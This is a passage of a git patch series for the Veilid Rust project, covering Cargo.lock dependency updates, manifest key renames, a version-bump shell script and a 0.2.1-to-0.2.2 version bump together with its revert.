"mio", "num_cpus", "parking_lot 0.12.1", "pin-project-lite", "signal-hook-registry", - "socket2 0.5.3", + "socket2 0.5.4", "tokio-macros", "tracing", "windows-sys 0.48.0", @@ -5007,7 +5004,7 @@ checksum = "630bdcf245f78637c13ec01ffae6187cca34625e8c63150d424b59e55af2675e" dependencies = [ "proc-macro2", "quote", - "syn 2.0.31", + "syn 2.0.35", ] [[package]] @@ -5027,7 +5024,7 @@ version = "0.7.8" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "806fe8c2c87eccc8b3267cbae29ed3ab2d0bd37fca70ab622e46aaa9375ddb7d" dependencies = [ - "bytes 1.4.0", + "bytes 1.5.0", "futures-core", "futures-io", "futures-sink", @@ -5047,9 +5044,9 @@ dependencies = [ [[package]] name = "toml" -version = "0.7.6" +version = "0.7.8" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c17e963a819c331dcacd7ab957d80bc2b9a9c1e71c804826d2f283dd65306542" +checksum = "dd79e69d3b627db300ff956027cc6c3798cef26d22526befdfcd12feeb6d2257" dependencies = [ "serde", "serde_spanned", @@ -5068,9 +5065,9 @@ dependencies = [ [[package]] name = "toml_edit" -version = "0.19.14" +version = "0.19.15" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f8123f27e969974a3dfba720fdb560be359f57b44302d280ba72e76a74480e8a" +checksum = "1b5bb770da30e5cbfde35a2d7b9b8a2c4b8ef89548a7a6aeab5c9a576e3e7421" dependencies = [ "indexmap 2.0.0", "serde", @@ -5089,7 +5086,7 @@ dependencies = [ "async-trait", "axum", "base64 0.13.1", - "bytes 1.4.0", + "bytes 1.5.0", "futures-core", "futures-util", "h2", @@ -5119,8 +5116,8 @@ checksum = "3082666a3a6433f7f511c7192923fa1fe07c69332d3c6a2e6bb040b569199d5a" dependencies = [ "async-trait", "axum", - "base64 0.21.3", - "bytes 1.4.0", + "base64 0.21.4", + "bytes 1.5.0", "futures-core", "futures-util", "h2", @@ -5204,7 +5201,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "09d48f71a791638519505cefafe162606f706c25592e4bde4d97600c0195312e" dependencies = [ "crossbeam-channel", - "time 0.3.28", + "time", "tracing-subscriber", ] @@ -5216,7 +5213,7 @@ checksum = "5f4f31f56159e98206da9efd823404b79b6ef3143b4a7ab76e67b1751b25a4ab" dependencies = [ "proc-macro2", "quote", - "syn 2.0.31", + "syn 2.0.35", ] [[package]] @@ -5414,7 +5411,7 @@ dependencies = [ "proc-macro2", "quote", "serde_derive_internals 0.28.0", - "syn 2.0.31", + "syn 2.0.35", ] [[package]] @@ -5443,7 +5440,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "e862a1c4128df0112ab625f55cd5c934bcb4312ba80b39ae4b4835a3fd58e649" dependencies = [ "byteorder", - "bytes 1.4.0", + "bytes 1.5.0", "data-encoding", "http", "httparse", @@ -5457,9 +5454,9 @@ dependencies = [ [[package]] name = "typenum" -version = "1.16.0" +version = "1.17.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "497961ef93d974e23eb6f433eb5fe1b7930b659f06d12dec6fc44a8f554c0bba" +checksum = "42ff0bf0c66b8238c6f3b578df37d0b7848e55df8577b3f74f92a69acceeb825" [[package]] name = "ucd-trie" @@ -5475,9 +5472,9 @@ checksum = "92888ba5573ff080736b3648696b70cafad7d250551175acbaa4e0385b3e1460" [[package]] name = "unicode-ident" -version = "1.0.11" +version = "1.0.12" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "301abaae475aa91687eb82514b328ab47a211a533026cb25fc3e519b86adfc3c" +checksum = "3354b9ac3fae1ff6755cb6db53683adb661634f67557942dea4facebec0fee4b" [[package]] name = "unicode-normalization" @@ -5589,7 +5586,7 @@ dependencies = [ "async-std", "async-tungstenite 0.8.0", "cfg-if 1.0.0", - "clap 4.4.2", + "clap 4.4.3", "config", "crossbeam-channel", "cursive", @@ -5689,7 +5686,7 @@ dependencies = [ "serial_test 2.0.0", "shell-words", "simplelog", - "socket2 0.5.3", + "socket2 0.5.4", "static_assertions", "stop-token", "thiserror", @@ -5784,7 +5781,7 @@ dependencies = [ "async-tungstenite 0.23.0", "backtrace", "cfg-if 1.0.0", - "clap 4.4.2", + "clap 4.4.3", "color-eyre", "config", "console-subscriber", @@ -5924,9 +5921,9 @@ checksum = "9d5b2c62b4012a3e1eca5a7e077d13b3bf498c4073e33ccd58626607748ceeca" [[package]] name = "walkdir" -version = "2.3.3" +version = "2.4.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "36df944cda56c7d8d8b7496af378e6b16de9284591917d307c9b4d313c44e698" +checksum = "d71d857dc86794ca4c280d616f7da00d2dbfd8cd788846559a6813e6aa4b54ee" dependencies = [ "same-file", "winapi-util", @@ -5947,12 +5944,6 @@ version = "0.9.0+wasi-snapshot-preview1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "cccddf32554fecc6acb585f82a32a72e28b48f8c4c1883ddfeeeaa96f7d8e519" -[[package]] -name = "wasi" -version = "0.10.0+wasi-snapshot-preview1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1a143597ca7c7793eff794def352d41792a93c481eb1042423ff7ff72ba2c31f" - [[package]] name = "wasi" version = "0.11.0+wasi-snapshot-preview1" @@ -5982,7 +5973,7 @@ dependencies = [ "once_cell", "proc-macro2", "quote", - "syn 2.0.31", + "syn 2.0.35", "wasm-bindgen-shared", ] @@ -6016,7 +6007,7 @@ checksum = "54681b18a46765f095758388f2d0cf16eb8d4169b639ab575a8f5693af210c7b" dependencies = [ "proc-macro2", "quote", - "syn 2.0.31", + "syn 2.0.35", "wasm-bindgen-backend", "wasm-bindgen-shared", ] @@ -6134,13 +6125,14 @@ dependencies = [ [[package]] name = "which" -version = "4.4.0" +version = "4.4.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "2441c784c52b289a054b7201fc93253e288f094e2f4be9058343127c4226a269" +checksum = "87ba24419a2078cd2b0f2ede2691b6c66d8e47836da3b6db8265ebad47afbfc7" dependencies = [ "either", - "libc", + "home", "once_cell", + "rustix 0.38.13", ] [[package]] @@ -6456,9 +6448,9 @@ checksum = "a67300977d3dc3f8034dae89778f502b6ba20b269527b3223ba59c0cf393bb8a" [[package]] name = "xml-rs" -version = "0.8.16" +version = "0.8.18" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "47430998a7b5d499ccee752b41567bc3afc57e1327dc855b1a2aa44ce29b5fa1" +checksum = "bab77e97b50aee93da431f2cee7cd0f43b4d1da3c408042f2d7d164187774f0a" [[package]] name = "xmltree" @@ -6530,7 +6522,7 @@ checksum = "ce36e65b0d2999d2aafac989fb249189a141aee1f53c612c1f37d72631959f69" dependencies = [ "proc-macro2", "quote", - "syn 2.0.31", + "syn 2.0.35", ] [[package]] diff --git a/veilid-core/Cargo.toml b/veilid-core/Cargo.toml index 18492796..c4d5d338 100644 --- a/veilid-core/Cargo.toml +++ b/veilid-core/Cargo.toml @@ -92,7 +92,7 @@ hashlink = { package = "veilid-hashlink", version = "0.1.0", features = [ ] } # System -futures-util = { version = "0.3.28", default_features = false, features = [ +futures-util = { version = "0.3.28", default-features = false, features = [ "alloc", ] } flume = { version = "0.11.0", features = ["async"] } @@ -101,19 +101,19 @@ lock_api = "0.4.10" stop-token = { version = "0.7.0", default-features = false } # Crypto -ed25519-dalek = { version = "2.0.0", default_features = false, features = [ +ed25519-dalek = { version = "2.0.0", default-features = false, features = [ "alloc", "rand_core", "digest", "zeroize", ] } -x25519-dalek = { version = "2.0.0", default_features = false, features = [ +x25519-dalek = { version = "2.0.0", default-features = false, features = [ "alloc", "static_secrets", "zeroize", "precomputed-tables", ] } -curve25519-dalek = { version = "4.0.0", default_features = false, features = [ +curve25519-dalek = { version = "4.0.0", default-features = false, features = [ "alloc", "zeroize", "precomputed-tables", @@ -129,7 +129,7 @@ trust-dns-resolver = { version = "0.22.0", optional = true } enum-as-inner = "=0.5.1" # temporary fix for trust-dns-resolver v0.22.0 # Serialization -capnp = { version = "0.18.1", default_features = false } +capnp = { version = "0.18.1", default-features = false } serde = { version = "1.0.183", features = ["derive"] } serde_json = { version = "1.0.105" } serde-big-array = "0.5.1" diff --git a/veilid-flutter/rust/Cargo.toml b/veilid-flutter/rust/Cargo.toml index 5cdfcdc3..df806257 100644 --- a/veilid-flutter/rust/Cargo.toml +++ b/veilid-flutter/rust/Cargo.toml @@ -38,7 +38,7 @@ parking_lot = "^0" backtrace = "^0" serde_json = "^1" serde = "^1" -futures-util = { version = "^0", default_features = false, features = [ +futures-util = { version = "^0", default-features = false, features = [ "alloc", ] } cfg-if = "^1" diff --git a/veilid-server/Cargo.toml b/veilid-server/Cargo.toml index e579f8ee..66ea0b0c 100644 --- a/veilid-server/Cargo.toml +++ b/veilid-server/Cargo.toml @@ -61,7 +61,7 @@ serde = "^1" serde_derive = "^1" serde_yaml = "^0" json = "^0" -futures-util = { version = "^0", default_features = false, features = [ +futures-util = { version = "^0", default-features = false, features = [ "alloc", ] } url = "^2" diff --git a/veilid-tools/Cargo.toml b/veilid-tools/Cargo.toml index 2778aa8c..e9333b9e 100644 --- a/veilid-tools/Cargo.toml +++ b/veilid-tools/Cargo.toml @@ -41,7 +41,7 @@ eyre = "0.6.8" static_assertions = "1.1.0" cfg-if = "1.0.0" thiserror = "1.0.47" -futures-util = { version = "0.3.28", default_features = false, features = [ +futures-util = { version = "0.3.28", default-features = false, features = [ "alloc", ] } parking_lot = "0.12.1" From e7f581e6c30c43d92a53bc91ea1e3b1f89060e71 Mon Sep 17 00:00:00 2001 From: Christien Rioux Date: Sat, 16 Sep 2023 14:02:35 -0400 Subject: [PATCH 35/86] bumpversion changes --- version_bump.sh | 13 +++++++++++++ 1 file changed, 13 insertions(+) diff --git a/version_bump.sh b/version_bump.sh index ff8062c6..2166527e 100755 --- a/version_bump.sh +++ b/version_bump.sh @@ -1,4 +1,6 @@ #!/bin/bash + +# Fail out if any step has an error set -e if [ "$1" == "patch" ]; then @@ -15,5 +17,16 @@ else exit 1 fi +# Change version of crates and packages everywhere bumpversion $PART + +# Get the new version we bumped to +NEW_VERSION=$(cat .bumpversion.cfg | grep current_version\ = | cut -d\ -f3) +echo NEW_VERSION=$NEW_VERSION + +# Update crate dependencies for the crates we publish +cargo upgrade veilid-tools@$NEW_VERSION +cargo upgrade veilid-core@$NEW_VERSION + +# Update lockfile cargo update \ No newline at end of file From ba72aa9dd3c1137b522e0415a8f4d2114a1e81aa Mon Sep 17 00:00:00 2001 From: Christien Rioux Date: Sat, 16 Sep 2023 14:03:21 -0400 Subject: [PATCH 36/86] version bump fix --- .bumpversion.cfg | 2 +- Cargo.lock | 114 ++++++++++++++++++++++----------- veilid-cli/Cargo.toml | 2 +- veilid-core/Cargo.toml | 2 +- veilid-flutter/pubspec.yaml | 2 +- veilid-flutter/rust/Cargo.toml | 2 +- veilid-python/pyproject.toml | 2 +- veilid-server/Cargo.toml | 2 +- veilid-tools/Cargo.toml | 2 +- veilid-wasm/Cargo.toml | 2 +- version_bump.sh | 4 +- 11 files changed, 89 insertions(+), 47 deletions(-) diff --git a/.bumpversion.cfg b/.bumpversion.cfg index 824c0b03..89f06175 100644 --- a/.bumpversion.cfg +++ b/.bumpversion.cfg @@ -1,5 +1,5 @@ [bumpversion] -current_version = 0.2.1 +current_version = 0.2.2 [bumpversion:file:veilid-server/Cargo.toml] search = name = "veilid-server" diff --git a/Cargo.lock b/Cargo.lock index 4ad66551..45843680 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -439,6 +439,18 @@ version = "4.4.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "ecc7ab41815b3c653ccd2978ec3255c81349336702dfdf62ee6f7069b12a3aae" +[[package]] +name = "async-tls" +version = "0.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d7e7fbc0843fc5ad3d5ca889c5b2bea9130984d34cd0e62db57ab70c2529a8e3" +dependencies = [ + "futures", + "rustls 0.18.1", + "webpki 0.21.4", + "webpki-roots 0.20.0", +] + [[package]] name = "async-tls" version = "0.12.0" @@ -447,9 +459,9 @@ checksum = "cfeefd0ca297cbbb3bd34fd6b228401c2a5177038257afd751bc29f0a2da4795" dependencies = [ "futures-core", "futures-io", - "rustls", + "rustls 0.20.9", "rustls-pemfile", - "webpki", + "webpki 0.22.1", "webpki-roots 0.22.6", ] @@ -470,6 +482,7 @@ version = "0.8.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "a5c45a0dd44b7e6533ac4e7acc38ead1a3b39885f5bbb738140d30ea528abc7c" dependencies = [ + "async-tls 0.9.0", "futures-io", "futures-util", "log", @@ -483,7 +496,7 @@ version = "0.23.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "a1e9efbe14612da0a19fb983059a0b621e9cf6225d7018ecab4f9988215540dc" dependencies = [ - "async-tls", + "async-tls 0.12.0", "futures-io", "futures-util", "log", @@ -2157,19 +2170,6 @@ dependencies = [ "web-sys", ] -[[package]] -name = "gloo-utils" -version = "0.2.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0b5555354113b18c547c1d3a98fbf7fb32a9ff4f6fa112ce823a21641a0ba3aa" -dependencies = [ - "js-sys", - "serde", - "serde_json", - "wasm-bindgen", - "web-sys", -] - [[package]] name = "grpcio" version = "0.9.1" @@ -4218,6 +4218,19 @@ dependencies = [ "windows-sys 0.48.0", ] +[[package]] +name = "rustls" +version = "0.18.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5d1126dcf58e93cee7d098dbda643b5f92ed724f1f6a63007c1116eed6700c81" +dependencies = [ + "base64 0.12.3", + "log", + "ring", + "sct 0.6.1", + "webpki 0.21.4", +] + [[package]] name = "rustls" version = "0.20.9" @@ -4226,8 +4239,8 @@ checksum = "1b80e3dec595989ea8510028f30c408a4630db12c9cbb8de34203b89d6577e99" dependencies = [ "log", "ring", - "sct", - "webpki", + "sct 0.7.0", + "webpki 0.22.1", ] [[package]] @@ -4296,6 +4309,16 @@ version = "1.2.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "94143f37725109f92c262ed2cf5e59bce7498c01bcc1502d7b9afe439a4e9f49" +[[package]] +name = "sct" +version = "0.6.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b362b83898e0e69f38515b82ee15aa80636befe47c3b6d3d89a911e78fc228ce" +dependencies = [ + "ring", + "untrusted", +] + [[package]] name = "sct" version = "0.7.0" @@ -5394,7 +5417,7 @@ version = "0.4.5" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "d6b26cf145f2f3b9ff84e182c448eaf05468e247f148cf3d2a7d67d78ff023a0" dependencies = [ - "gloo-utils 0.1.7", + "gloo-utils", "serde", "serde-wasm-bindgen", "serde_json", @@ -5580,7 +5603,7 @@ checksum = "a9ee584edf237fac328b891dd06c21e7914a1db3762907edc366a13803451fe3" [[package]] name = "veilid-cli" -version = "0.2.1" +version = "0.2.2" dependencies = [ "arboard", "async-std", @@ -5602,7 +5625,7 @@ dependencies = [ "indent", "json", "log", - "parking_lot 0.12.1", + "parking_lot 0.11.2", "serde", "serde_derive", "serial_test 0.10.0", @@ -5616,14 +5639,14 @@ dependencies = [ [[package]] name = "veilid-core" -version = "0.2.1" +version = "0.2.2" dependencies = [ "argon2", "async-io", "async-lock", "async-std", "async-std-resolver", - "async-tls", + "async-tls 0.12.0", "async-tungstenite 0.23.0", "async_executors", "backtrace", @@ -5675,7 +5698,7 @@ dependencies = [ "range-set-blaze", "rtnetlink", "rusqlite", - "rustls", + "rustls 0.20.9", "rustls-pemfile", "schemars", "send_wrapper 0.6.0", @@ -5710,7 +5733,7 @@ dependencies = [ "wasm-logger", "weak-table", "web-sys", - "webpki", + "webpki 0.22.1", "webpki-roots 0.25.2", "wee_alloc", "winapi", @@ -5722,7 +5745,7 @@ dependencies = [ [[package]] name = "veilid-flutter" -version = "0.2.1" +version = "0.2.2" dependencies = [ "allo-isolate", "async-std", @@ -5737,7 +5760,7 @@ dependencies = [ "opentelemetry", "opentelemetry-otlp", "opentelemetry-semantic-conventions", - "parking_lot 0.12.1", + "parking_lot 0.11.2", "serde", "serde_json", "tokio", @@ -5774,11 +5797,11 @@ dependencies = [ [[package]] name = "veilid-server" -version = "0.2.1" +version = "0.2.2" dependencies = [ "ansi_term", "async-std", - "async-tungstenite 0.23.0", + "async-tungstenite 0.8.0", "backtrace", "cfg-if 1.0.0", "clap 4.4.3", @@ -5793,11 +5816,11 @@ dependencies = [ "hostname", "json", "lazy_static", - "nix 0.27.1", + "nix 0.22.3", "opentelemetry", "opentelemetry-otlp", "opentelemetry-semantic-conventions", - "parking_lot 0.12.1", + "parking_lot 0.11.2", "rpassword", "serde", "serde_derive", @@ -5824,7 +5847,7 @@ dependencies = [ [[package]] name = "veilid-tools" -version = "0.2.1" +version = "0.2.2" dependencies = [ "android_logger 0.13.3", "async-lock", @@ -5876,17 +5899,17 @@ dependencies = [ [[package]] name = "veilid-wasm" -version = "0.2.1" +version = "0.2.2" dependencies = [ "cfg-if 1.0.0", "console_error_panic_hook", "data-encoding", "futures-util", - "gloo-utils 0.2.0", + "gloo-utils", "js-sys", "lazy_static", "parking_lot 0.12.1", - "send_wrapper 0.6.0", + "send_wrapper 0.4.0", "serde", "serde-wasm-bindgen", "serde_json", @@ -6069,6 +6092,16 @@ dependencies = [ "wasm-bindgen", ] +[[package]] +name = "webpki" +version = "0.21.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b8e38c0608262c46d4a56202ebabdeb094cef7e560ca7a226c6bf055188aa4ea" +dependencies = [ + "ring", + "untrusted", +] + [[package]] name = "webpki" version = "0.22.1" @@ -6079,13 +6112,22 @@ dependencies = [ "untrusted", ] +[[package]] +name = "webpki-roots" +version = "0.20.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0f20dea7535251981a9670857150d571846545088359b28e4951d350bdaf179f" +dependencies = [ + "webpki 0.21.4", +] + [[package]] name = "webpki-roots" version = "0.22.6" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "b6c71e40d7d2c34a5106301fb632274ca37242cd0c9d3e64dbece371a40a2d87" dependencies = [ - "webpki", + "webpki 0.22.1", ] [[package]] diff --git a/veilid-cli/Cargo.toml b/veilid-cli/Cargo.toml index a3b39d02..71ae433a 100644 --- a/veilid-cli/Cargo.toml +++ b/veilid-cli/Cargo.toml @@ -1,7 +1,7 @@ [package] # --- Bumpversion match - do not reorder name = "veilid-cli" -version = "0.2.1" +version = "0.2.2" # --- authors = ["Veilid Team "] edition = "2021" diff --git a/veilid-core/Cargo.toml b/veilid-core/Cargo.toml index c4d5d338..f5d7cf00 100644 --- a/veilid-core/Cargo.toml +++ b/veilid-core/Cargo.toml @@ -1,7 +1,7 @@ [package] # --- Bumpversion match - do not reorder name = "veilid-core" -version = "0.2.1" +version = "0.2.2" # --- description = "Core library used to create a Veilid node and operate it as part of an application" authors = ["Veilid Team "] diff --git a/veilid-flutter/pubspec.yaml b/veilid-flutter/pubspec.yaml index afda391d..edaf48c6 100644 --- a/veilid-flutter/pubspec.yaml +++ b/veilid-flutter/pubspec.yaml @@ -1,6 +1,6 @@ # --- Bumpversion match - do not reorder name: veilid -version: 0.2.1 +version: 0.2.2 # --- description: Veilid Framework homepage: https://veilid.com diff --git a/veilid-flutter/rust/Cargo.toml b/veilid-flutter/rust/Cargo.toml index df806257..821e7978 100644 --- a/veilid-flutter/rust/Cargo.toml +++ b/veilid-flutter/rust/Cargo.toml @@ -1,7 +1,7 @@ [package] # --- Bumpversion match - do not reorder name = "veilid-flutter" -version = "0.2.1" +version = "0.2.2" # --- authors = ["Veilid Team "] license = "MPL-2.0" diff --git a/veilid-python/pyproject.toml b/veilid-python/pyproject.toml index 19a71176..a6a96c53 100644 --- a/veilid-python/pyproject.toml +++ b/veilid-python/pyproject.toml @@ -1,7 +1,7 @@ [tool.poetry] # --- Bumpversion match - do not reorder name = "veilid" -version = "0.2.1" +version = "0.2.2" # --- description = "" authors = ["Veilid Team "] diff --git a/veilid-server/Cargo.toml b/veilid-server/Cargo.toml index 66ea0b0c..028b289e 100644 --- a/veilid-server/Cargo.toml +++ b/veilid-server/Cargo.toml @@ -1,7 +1,7 @@ [package] # --- Bumpversion match - do not reorder name = "veilid-server" -version = "0.2.1" +version = "0.2.2" # --- description = "Veilid Server" authors = ["Veilid Team "] diff --git a/veilid-tools/Cargo.toml b/veilid-tools/Cargo.toml index e9333b9e..726826a1 100644 --- a/veilid-tools/Cargo.toml +++ b/veilid-tools/Cargo.toml @@ -1,7 +1,7 @@ [package] # --- Bumpversion match - do not reorder name = "veilid-tools" -version = "0.2.1" +version = "0.2.2" # --- description = "A collection of baseline tools for Rust development use by Veilid and Veilid-enabled Rust applications" authors = ["Veilid Team "] diff --git a/veilid-wasm/Cargo.toml b/veilid-wasm/Cargo.toml index 2abb4c45..c4acf2bd 100644 --- a/veilid-wasm/Cargo.toml +++ b/veilid-wasm/Cargo.toml @@ -1,7 +1,7 @@ [package] # --- Bumpversion match - do not reorder name = "veilid-wasm" -version = "0.2.1" +version = "0.2.2" # --- authors = ["Veilid Team "] license = "MPL-2.0" diff --git a/version_bump.sh b/version_bump.sh index 2166527e..58bd228f 100755 --- a/version_bump.sh +++ b/version_bump.sh @@ -25,8 +25,8 @@ NEW_VERSION=$(cat .bumpversion.cfg | grep current_version\ = | cut -d\ -f3) echo NEW_VERSION=$NEW_VERSION # Update crate dependencies for the crates we publish -cargo upgrade veilid-tools@$NEW_VERSION -cargo upgrade veilid-core@$NEW_VERSION +cargo upgrade -p veilid-tools@$NEW_VERSION +cargo upgrade -p veilid-core@$NEW_VERSION # Update lockfile cargo update \ No newline at end of file From 960a4cb9649ea445dc8842b6d15323c226aa3eb9 Mon Sep 17 00:00:00 2001 From: Christien Rioux Date: Sat, 16 Sep 2023 14:04:36 -0400 Subject: [PATCH 37/86] Revert "version bump fix" This reverts commit 2d291b86b64542845bc10c092e8ad6a78e8b85df. --- .bumpversion.cfg | 2 +- Cargo.lock | 114 +++++++++++---------------------- veilid-cli/Cargo.toml | 2 +- veilid-core/Cargo.toml | 2 +- veilid-flutter/pubspec.yaml | 2 +- veilid-flutter/rust/Cargo.toml | 2 +- veilid-python/pyproject.toml | 2 +- veilid-server/Cargo.toml | 2 +- veilid-tools/Cargo.toml | 2 +- veilid-wasm/Cargo.toml | 2 +- version_bump.sh | 4 +- 11 files changed, 47 insertions(+), 89 deletions(-) diff --git a/.bumpversion.cfg b/.bumpversion.cfg index 89f06175..824c0b03 100644 --- a/.bumpversion.cfg +++ b/.bumpversion.cfg @@ -1,5 +1,5 @@ [bumpversion] -current_version = 0.2.2 +current_version = 0.2.1 [bumpversion:file:veilid-server/Cargo.toml] search = name = "veilid-server" diff --git a/Cargo.lock b/Cargo.lock index 45843680..4ad66551 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -439,18 +439,6 @@ version = "4.4.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "ecc7ab41815b3c653ccd2978ec3255c81349336702dfdf62ee6f7069b12a3aae" -[[package]] -name = "async-tls" -version = "0.9.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d7e7fbc0843fc5ad3d5ca889c5b2bea9130984d34cd0e62db57ab70c2529a8e3" -dependencies = [ - "futures", - "rustls 0.18.1", - "webpki 0.21.4", - "webpki-roots 0.20.0", -] - [[package]] name = "async-tls" version = "0.12.0" @@ -459,9 +447,9 @@ checksum = "cfeefd0ca297cbbb3bd34fd6b228401c2a5177038257afd751bc29f0a2da4795" dependencies = [ "futures-core", "futures-io", - "rustls 0.20.9", + "rustls", "rustls-pemfile", - "webpki 0.22.1", + "webpki", "webpki-roots 0.22.6", ] @@ -482,7 +470,6 @@ version = "0.8.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "a5c45a0dd44b7e6533ac4e7acc38ead1a3b39885f5bbb738140d30ea528abc7c" dependencies = [ - "async-tls 0.9.0", "futures-io", "futures-util", "log", @@ -496,7 +483,7 @@ version = "0.23.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "a1e9efbe14612da0a19fb983059a0b621e9cf6225d7018ecab4f9988215540dc" dependencies = [ - "async-tls 0.12.0", + "async-tls", "futures-io", "futures-util", "log", @@ -2170,6 +2157,19 @@ dependencies = [ "web-sys", ] +[[package]] +name = "gloo-utils" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0b5555354113b18c547c1d3a98fbf7fb32a9ff4f6fa112ce823a21641a0ba3aa" +dependencies = [ + "js-sys", + "serde", + "serde_json", + "wasm-bindgen", + "web-sys", +] + [[package]] name = "grpcio" version = "0.9.1" @@ -4218,19 +4218,6 @@ dependencies = [ "windows-sys 0.48.0", ] -[[package]] -name = "rustls" -version = "0.18.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5d1126dcf58e93cee7d098dbda643b5f92ed724f1f6a63007c1116eed6700c81" -dependencies = [ - "base64 0.12.3", - "log", - "ring", - "sct 0.6.1", - "webpki 0.21.4", -] - [[package]] name = "rustls" version = "0.20.9" @@ -4239,8 +4226,8 @@ checksum = "1b80e3dec595989ea8510028f30c408a4630db12c9cbb8de34203b89d6577e99" dependencies = [ "log", "ring", - "sct 0.7.0", - "webpki 0.22.1", + "sct", + "webpki", ] [[package]] @@ -4309,16 +4296,6 @@ version = "1.2.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "94143f37725109f92c262ed2cf5e59bce7498c01bcc1502d7b9afe439a4e9f49" -[[package]] -name = "sct" -version = "0.6.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b362b83898e0e69f38515b82ee15aa80636befe47c3b6d3d89a911e78fc228ce" -dependencies = [ - "ring", - "untrusted", -] - [[package]] name = "sct" version = "0.7.0" @@ -5417,7 +5394,7 @@ version = "0.4.5" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "d6b26cf145f2f3b9ff84e182c448eaf05468e247f148cf3d2a7d67d78ff023a0" dependencies = [ - "gloo-utils", + "gloo-utils 0.1.7", "serde", "serde-wasm-bindgen", "serde_json", @@ -5603,7 +5580,7 @@ checksum = "a9ee584edf237fac328b891dd06c21e7914a1db3762907edc366a13803451fe3" [[package]] name = "veilid-cli" -version = "0.2.2" +version = "0.2.1" dependencies = [ "arboard", "async-std", @@ -5625,7 +5602,7 @@ dependencies = [ "indent", "json", "log", - "parking_lot 0.11.2", + "parking_lot 0.12.1", "serde", "serde_derive", "serial_test 0.10.0", @@ -5639,14 +5616,14 @@ dependencies = [ [[package]] name = "veilid-core" -version = "0.2.2" +version = "0.2.1" dependencies = [ "argon2", "async-io", "async-lock", "async-std", "async-std-resolver", - "async-tls 0.12.0", + "async-tls", "async-tungstenite 0.23.0", "async_executors", "backtrace", @@ -5698,7 +5675,7 @@ dependencies = [ "range-set-blaze", "rtnetlink", "rusqlite", - "rustls 0.20.9", + "rustls", "rustls-pemfile", "schemars", "send_wrapper 0.6.0", @@ -5733,7 +5710,7 @@ dependencies = [ "wasm-logger", "weak-table", "web-sys", - "webpki 0.22.1", + "webpki", "webpki-roots 0.25.2", "wee_alloc", "winapi", @@ -5745,7 +5722,7 @@ dependencies = [ [[package]] name = "veilid-flutter" -version = "0.2.2" +version = "0.2.1" dependencies = [ "allo-isolate", "async-std", @@ -5760,7 +5737,7 @@ dependencies = [ "opentelemetry", "opentelemetry-otlp", "opentelemetry-semantic-conventions", - "parking_lot 0.11.2", + "parking_lot 0.12.1", "serde", "serde_json", "tokio", @@ -5797,11 +5774,11 @@ dependencies = [ [[package]] name = "veilid-server" -version = "0.2.2" +version = "0.2.1" dependencies = [ "ansi_term", "async-std", - "async-tungstenite 0.8.0", + "async-tungstenite 0.23.0", "backtrace", "cfg-if 1.0.0", "clap 4.4.3", @@ -5816,11 +5793,11 @@ dependencies = [ "hostname", "json", "lazy_static", - "nix 0.22.3", + "nix 0.27.1", "opentelemetry", "opentelemetry-otlp", "opentelemetry-semantic-conventions", - "parking_lot 0.11.2", + "parking_lot 0.12.1", "rpassword", "serde", "serde_derive", @@ -5847,7 +5824,7 @@ dependencies = [ [[package]] name = "veilid-tools" -version = "0.2.2" +version = "0.2.1" dependencies = [ "android_logger 0.13.3", "async-lock", @@ -5899,17 +5876,17 @@ dependencies = [ [[package]] name = "veilid-wasm" -version = "0.2.2" +version = "0.2.1" dependencies = [ "cfg-if 1.0.0", "console_error_panic_hook", "data-encoding", "futures-util", - "gloo-utils", + "gloo-utils 0.2.0", "js-sys", "lazy_static", "parking_lot 0.12.1", - "send_wrapper 0.4.0", + "send_wrapper 0.6.0", "serde", "serde-wasm-bindgen", "serde_json", @@ -6092,16 +6069,6 @@ dependencies = [ "wasm-bindgen", ] -[[package]] -name = "webpki" -version = "0.21.4" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b8e38c0608262c46d4a56202ebabdeb094cef7e560ca7a226c6bf055188aa4ea" -dependencies = [ - "ring", - "untrusted", -] - [[package]] name = "webpki" version = "0.22.1" @@ -6112,22 +6079,13 @@ dependencies = [ "untrusted", ] -[[package]] -name = "webpki-roots" -version = "0.20.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0f20dea7535251981a9670857150d571846545088359b28e4951d350bdaf179f" -dependencies = [ - "webpki 0.21.4", -] - [[package]] name = "webpki-roots" version = "0.22.6" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "b6c71e40d7d2c34a5106301fb632274ca37242cd0c9d3e64dbece371a40a2d87" dependencies = [ - "webpki 0.22.1", + "webpki", ] [[package]] diff --git 